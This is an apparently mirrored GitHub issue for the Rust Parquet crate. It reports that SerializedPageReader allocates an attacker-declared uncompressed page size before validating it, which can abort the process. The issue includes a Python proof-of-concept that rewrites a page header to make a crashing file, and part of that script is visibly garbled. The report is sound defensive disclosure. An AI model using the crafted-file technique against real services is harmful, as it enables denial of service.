`SerializedPageReader` allocates `uncompressed_page_size` bytes before validating it against the column chunk
- Dominant language
- Rust
- Stars
- 3.6k
- Forks
- 1.3k
- Avg merge
- 2d 18h
- Merged PRs (30d)
- 169
Description
**Version:** 59.1.0
**File:** `src/file/serialized_reader.rs`
### Summary
When decompressing a page, `decode_page` reserves the full declared
uncompressed size in one allocation (line 447):
```rust
let uncompressed_page_size = usize::try_from(page_header.uncompressed_page_size)?;
...
let mut decompressed = Vec::with_capacity(uncompressed_page_size);
```
`verify_page_size` (line 900) is the only check that runs before this:
```rust
if compressed_size < 0 || compressed_size as u64 > remaining_bytes || uncompressed_size < 0 {
return Err(eof_err!("Invalid page header"));
}
```
It bounds `compressed_page_size` by the bytes remaining in the column chunk,
but `uncompressed_page_size` is only checked for being non-negative. Nothing
relates it to `ColumnMetaData::total_uncompressed_size`, even though the format
makes the sum of the pages' uncompressed sizes equal to that total — so a
single page can never legitimately exceed it.
A file can therefore declare a column chunk of a few dozen bytes and a page
header claiming up to `i32::MAX` uncompressed bytes, and the reader will try to
allocate about 2 GiB. The consistency check happens afterwards, at line 456:
```rust
if decompressed.len() != uncompressed_page_size { ... }
```
i.e. after the allocation has already been requested.
### Why it is worth fixing rather than leaving to the caller
The failure mode is not a recoverable error. On allocation failure Rust invokes
the allocation error handler, which **aborts** the process — no unwinding, no
`Result`, nothing a `catch_unwind` can observe. A library reading untrusted
files cannot turn this into a typed error from the outside; it can only avoid
reaching it, which requires parsing the page headers independently.
That is also not possible with the public API: `PageMetadata` (the only thing
`PageReader::peek_next_page` returns) carries `num_rows`, `num_levels` and
`is_dict` but not the sizes, and `file::metadata::thrift`, where `PageHeader`
lives, is `pub(crate)` in 59.1.0. A caller who wants the check must re-implement
Thrift page-header parsing over the raw file.
### Reproducer
The script below takes any Parquet file with a compressed data page and edits a
single header field, keeping the total length unchanged so that every absolute
offset in the footer stays valid:
```
uncompressed_page_size N -> 2_000_000_000 (varint grows by 4 bytes)
compressed_page_size M -> M - 4 (same varint length)
page payload 4 bytes removed
```
Keeping the length invariant matters: simply inserting the 4 bytes shifts the
chunk's remaining-byte accounting, and `verify_page_size` then rejects the page
*before* the allocation — which looks like the bug being absent when it is not.
```python
import struct, sys
def varint(v):
out = bytearray()
while True:
b = v & 0x7F
v >>= 7
if v:
out.append(b | 0x80)
else:
out.append(b)
return bytes(out)
def zigzag(n):
return (n << 1) if n >= 0 else ((-n) << 1) - 1
class R:
def __init__(self, d, i): self.d, self.i = d, i
def byte(self):
b = self.d[self.i]; self.i += 1; return b
def var(self):
v, s = 0, 0
while True:
b = self.byte(); v |= (b & 0x7F) << s
if not b & 0x80: return v
s += 7
def zz(self):
g = self.var(); return (g >> 1) ^ -(g & 1)
def skip(self, t):
if t in (1, 2): return
if t == 3: self.i += 1
elif t in (4, 5, 6): self.zz()
elif t == 7: self.i += 8
elif t == 8: self.i += self.var()
elif t in (9, 10):
h = self.byte(); n = h >> 4; e = h & 0x0F
if n == 15: n = self.var()
for _ in range(n): self.skip(e)
elif t == 11:
n = self.var()
if n:
p = self.byte()
for _ in range(n): self.skip(p >> 4); self.skip(p & 0x0F)
elif t == 12: self.struct()
elif t == 13: self.i += 16
else: raise ValueError(f"thrift type {t}")
def struct(self):
cur = 0
while True:
h = self.byte()
if h == 0: return
d, t = h >> 4, h & 0x0F
cur = self.zz() if d == 0 else cur + d
self.skip(t)
def page_header(d, off):
r, cur, out = R(d, off), 0, {"offset": off}
while True:
h = r.byte()
if h == 0: break
dl, t = h >> 4, h & 0x0F
cur = r.zz() if dl == 0 else cur + dl
if cur == 1 and t == 5: out["type"] = r.zz()
elif cur == 2 and t == 5:
out["u_from"] = r.i; out["u"] = r.zz(); out["u_to"] = r.i
elif cur == 3 and t == 5:
out["c_from"] = r.i; out["c"] = r.zz(); out["c_to"] = r.i
else: r.skip(t)
out["end"] = r.i
return out
data = bytearray(open(sys.argv[1], "rb").read())
tail = data.rindex(b"PAR1")
footer = tail - 4 - struct.unpack(" 0 and len(varint(zigzag(new_c))) == target["c_to"] - target["c_from"]
del data[target["end"]:target["end"] + grow]
data[target["c_from"]:target["c_to"]] = varint(zigzag(new_c))
data[target["u_from"]:target["u_to"]] = new_u
open(sys.argv[2], "wb").write(bytes(data))
```
Reading the resulting file:
```rust
let file = std::fs::File::open("patched.parquet")?;
let mut reader = ParquetRecordBatchReaderBuilder::try_new(file)?.build()?;
while let Some(batch) = reader.next() { let _ = batch?; }
```
Under a 512 MiB address-space limit (`ulimit -v 524288`):
```
memory allocation of 2000000000 bytes failed
Aborted (core dumped) # exit 134
```
Without the limit, the allocation succeeds, the decompressor then fails on the
length mismatch, and a normal `ParquetError` is returned — so the severity
depends entirely on how much memory the process is allowed to reserve.
### Suggested fix
Reject the page before allocating, using information already available in
`SerializedPageReader`:
* compare `uncompressed_page_size` against the chunk's
`total_uncompressed_size` (a page cannot exceed the total it belongs to), or
* accept an optional cap in `ReaderProperties` and grow the buffer instead of
reserving it in one call.
The first is the stronger of the two, because it needs no new configuration and
rejects exactly the inconsistent files.
Making the size check reachable from outside would help independently: either
exposing the page sizes on `PageMetadata`, or making the `PageHeader` type
public, would let a caller apply its own bound without re-implementing Thrift
parsing.
### How it was found
Coverage-guided fuzzing of a Parquet reader, followed by a targeted
characterization: the crash seed was reduced to a single edited header field,
and the behaviour was measured in a subprocess under an explicit address-space
limit, because the failure aborts the process and cannot be observed in-process.
Contributor guide
Research direction
Start in src/file/serialized_reader.rs at decode_page around line 447 and verify_page_size around line 900, then use the supplied Python reproducer and constrained reader command to observe the failure. Done means malformed page headers are rejected before the large allocation, with normal valid-page reading still working and the inconsistency covered by an appropriate test.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- rust
- Domain
- data, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 68/100